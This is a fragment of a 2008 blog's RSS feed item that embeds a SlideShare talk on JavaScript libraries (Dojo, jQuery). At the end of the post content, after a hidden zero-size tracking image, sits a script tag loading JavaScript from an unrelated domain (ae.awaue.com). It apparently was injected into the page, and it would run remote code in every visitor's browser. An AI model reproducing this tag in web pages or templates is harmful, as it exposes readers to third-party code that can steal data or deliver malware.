		<comments>http://eric.polerecky.com/archives/thinking-about-the-difference-between-frameworks/#comments</comments>
		<pubDate>Fri, 03 Oct 2008 19:59:56 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[Dojo]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[jQuery]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/thinking-about-the-difference-between-frameworks/</guid>
		<description><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/dojo.logo.small.png" width="150" height="99" alt="" title="Dojo" /><br/>JavaScript Library Overview
View SlideShare presentation or Upload your own. (tags: libraries javascript)

 


No related posts.


No related posts.]]></description>
			<content:encoded><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/dojo.logo.small.png" width="150" height="99" alt="" title="Dojo" /><br/><div id="__ss_632753" style="width: 425px; text-align: left"><a title="JavaScript Library Overview" style="display: block; margin: 12px 0px 3px; font: 14px helvetica,arial,sans-serif; text-decoration: underline" href="http://www.slideshare.net/jeresig/javascript-library-overview-presentation?type=powerpoint">JavaScript Library Overview</a><object style="margin:0px" width="425" height="355"><param name="movie" value="http://static.slideshare.net/swf/ssplayer2.swf?doc=jslibajaxexp08-1222984152388261-8&amp;stripped_title=javascript-library-overview-presentation" /><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><embed src="http://static.slideshare.net/swf/ssplayer2.swf?doc=jslibajaxexp08-1222984152388261-8&amp;stripped_title=javascript-library-overview-presentation" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"></embed></object>
<div style="font-size: 11px; padding-top: 2px; font-family: tahoma,arial; height: 26px">View SlideShare <a title="View JavaScript Library Overview on SlideShare" style="text-decoration: underline" href="http://www.slideshare.net/jeresig/javascript-library-overview-presentation?type=powerpoint">presentation</a> or <a style="text-decoration: underline" href="http://www.slideshare.net/upload?type=powerpoint">Upload</a> your own. (tags: <a style="text-decoration: underline" href="http://slideshare.net/tag/libraries">libraries</a> <a style="text-decoration: underline" href="http://slideshare.net/tag/javascript">javascript</a>)</div>
</p></div>
<p> <img style="visibility: hidden; width: 0px; height: 0px" height="0" src="http://counters.gigya.com/wildfire/IMP/CXNID=2000002.0NXC/bT*xJmx*PTEyMjMwNTQ1MjQwNDYmcHQ9MTIyMzA1NDUzOTM5MCZwPTEwMTkxJmQ9Jm49Jmc9MiZ*PSZvPTRhMDVlMTZiNmE5ZjQyNjI5M2UwZGVkYjhmYmEwMTZh.gif" width="0" border="0" /><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/thinking-about-the-difference-between-frameworks/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
